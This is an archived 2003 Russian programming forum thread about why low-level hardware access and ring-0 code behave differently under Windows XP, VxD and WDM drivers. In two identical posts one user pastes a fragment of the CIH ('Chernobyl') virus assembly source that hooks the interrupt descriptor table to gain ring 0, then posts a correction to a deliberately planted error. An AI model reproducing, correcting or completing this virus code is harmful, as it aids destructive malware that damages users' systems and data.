Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Потрепаться";
Текущий архив: 2003.04.24;
Скачать: [xml.tar.bz2];

Вниз

ASM и WinXP и т.п.   Найти похожие ветки 

 
konstantinov   (2003-04-05 21:45) [0]

На форуме как-то проскакивали вопросы почему ASM код для работы с аппаратными ресурсами ПК не работает под ХР. От себя добавлю, что не работают также некоторые драйверы ( лично у меня были проблемы с видеокартой и сканером ). ИМХО в ХР напрочь закрыли дверку для монопольного использования аппаратных средств. Как с этим бороться? Или какие условия нужно выполнить, чтобы получить доступ из кода АSM?


 
Ihor Osov'yak   (2003-04-05 22:25) [1]

Возможность доступа к аппаратным ресурсам никак не зависит от того, на каком языке программирования сделана программа.
Совсем другой вопрос, что под определенную платформу и режим работы конкретная система программирования может и не генерироваить исполняемый фаайл.

По поводу того - какие условия на ассемблере нужно выполнить - ответ прост: анологичные, как и на других системах программирования.

Зы - для начала почитайте документацию вокруг ключевых слов - kernel mode, win32, wdm, vxd and so on..



 
NetBreaker666   (2003-04-06 16:13) [2]


> ИМХО в ХР напрочь закрыли дверку для монопольного использования
> аппаратных средств. Как с этим бороться? Или какие условия
> нужно выполнить, чтобы получить доступ из кода АSM?

Никто ничего не закрывал.
И доступ к чему ? Какая разница на чем ты свой код писал ? Пример привести можешь ? По-моему это очередная попытка выпендриться... IMHO...



> Возможность доступа к аппаратным ресурсам никак не зависит
> от того, на каком языке программирования сделана программа.
> Совсем другой вопрос, что под определенную платформу и режим
> работы конкретная система программирования может и не генерироваить
> исполняемый фаайл.

Например ? Что-то не встречал таких компиляторов.


 
Ihor Osov'yak   (2003-04-06 16:50) [3]

2 NetBreaker666 ©

Например, Delphi не генерирует исполняемый файл, который можно использовать для загрузки как драйвер режима ядра.

Delphi1 не генерирует исполняемых файлов, предназначеных для работы в режиме Win32.

Здесь Win32 - платформа, режим ядра - режим работы.

И тд п тп..


 
NetBreaker666   (2003-04-06 17:04) [4]


> Ihor Osov"yak ©

Ладно, я просто тебя неправильно понял.... только что такое "драйвер режима ядра" ??? Насколько я знаю спецификация WDM не предусматривает нулевого приоритета для драйверов (вся работа идет через HAL). Или я тебя опять не понял ?


 
Ihor Osov'yak   (2003-04-06 17:51) [5]

2 NetBreaker666 © (06.04.03 17:04)

Нет, ты неправильно понял спецификацию WDM. Код WDM выполняется в нулевом кольце приоритета. Взаимодействие с аппаратурой подразумевает юзание функциональности HAL, но никто не запрещает прямую работу с аппаратными портами (как в win32). С прерываниями - все же через HAL. Но однозначно последнее утверждать не буду, так как писал только те драйвера, которые с прерываниями все же не работали (не было необходимости).


 
NetBreaker666   (2003-04-06 18:08) [6]

Я писал только VXD, по-этому тоже ничего утверждать не могу, но по-моему, возможно, мы либо говорим о разных версиях WDM либо еще какая-нибудь ***ня... просто я точно где-то читал, что в WinXP ничто не может получить нулевого кольца, даже драйвер, и вся работа с портами идет через hardware abstraction level... Хотя, с портами можно хоть из 3-го работать... возможно дерьмовая дока попалась :) Ладно, когда напишу полноценный драйвер - расскажу все как есть :)


 
Ihor Osov'yak   (2003-04-06 19:31) [7]

VXD и WDM разные вещи. VXD живет только под надстройками над DOS, которые именуются Win3,W95,W98,ME . В VXD часть кода исполняется в 32 битном режиме, часть кода может работать и в 16-битном.

В линейке NT такой вещи как VXD нету. WDM живет в W98,ME и W2K,XP.

При разаработке модели WDM как прототип брался kernel mode driver от NT3.5. По большому счету это то же самое, но только дополненое поддержкой PnP и системы электропитания (вернее они умеют взаимодействовать с ней). Драйвера, написанные согласно требований к kernel mode driver от NT3.5 и NT4 в W2K и XP именнуются как унаследованные (legacy).

В DDK от 98 утверждается, что WDM есть бинарно совместимые между 98 и W2K, в DDK от W2K - что совместимые на уровне исходного текста.

Введены ли какие-то новые требования к WDM в XP - не знаю, соотв. DDK пока не видел. Но во всяком случае драйвера, написанные мною для W2K работали без проблем и в XP.

Зы - WDM драйвера, которые я писал, не предназначались для работы с железом, часть из них делалась просто ради необходимости запустить некий код в нулевом кольце, часть - для иммуляции девайсов для операционной системы.


 
NetBreaker666   (2003-04-06 20:00) [8]


> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.

Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).


> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.

Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.


Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 2

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; * Return Original App to Execute *

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; * Ring0 Virus Game Initial Program *

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; * Do My Virus Exist in System !? *

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException





 
NetBreaker666   (2003-04-06 20:00) [9]


> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.

Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).


> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.

Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.


Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 2

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; * Return Original App to Execute *

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; * Ring0 Virus Game Initial Program *

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; * Do My Virus Exist in System !? *

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException





 
NetBreaker666   (2003-04-06 20:02) [10]

Ой, там не dr0, а cr0 :) (Это я в свое вермя навставлял ошибок, чтоб один ламер откомпилить не смог:) )


 
Ixion   (2003-04-07 00:22) [11]


> Ты это кому рассказываешь :) Я уже штуки три дравера написал.
> Один для SBLive1024 - который работал лучше чем от Creative"а.
> (Просто креативовские отказывались вставать на комп ниже
> 166-го).

Наши драйвера самые драйверастые драйвера в мире !!! LOL


> Почему-то мне кажется, что под XP"ями твои драйвера работали
> не в нулевом кольце. Но это только IMHO. Кстати, в Win9x
> можно получить нулевое кольцо без написания драйвера.

Это тебе только кажется. Проверь - это дело пяти минут для такого крутого хацкера как ты. Надеюсь как определить в каком кольце выполняется код объяснять не нужно ? :)


> Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему
> все понятно и без комментариев.

Это ты из фака взял ? А зачем так код извратил ?



Страницы: 1 вся ветка

Форум: "Потрепаться";
Текущий архив: 2003.04.24;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.51 MB
Время: 0.01 c
6-77060
trotski
2003-02-24 13:41
2003.04.24
Глупый вопрос по NMHTTP


3-76817
Vitalik S.
2003-04-05 12:18
2003.04.24
Как работать с типом BLOB Oracle8 через ODAC 4.05 в Delphi7


3-76801
Troy
2003-04-05 20:30
2003.04.24
База-связь


14-77167
Frist_May
2003-04-08 17:14
2003.04.24
Сервис


1-76975
CTAPbIi
2003-04-13 10:59
2003.04.24
Алгоритм вычисления номера недели





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский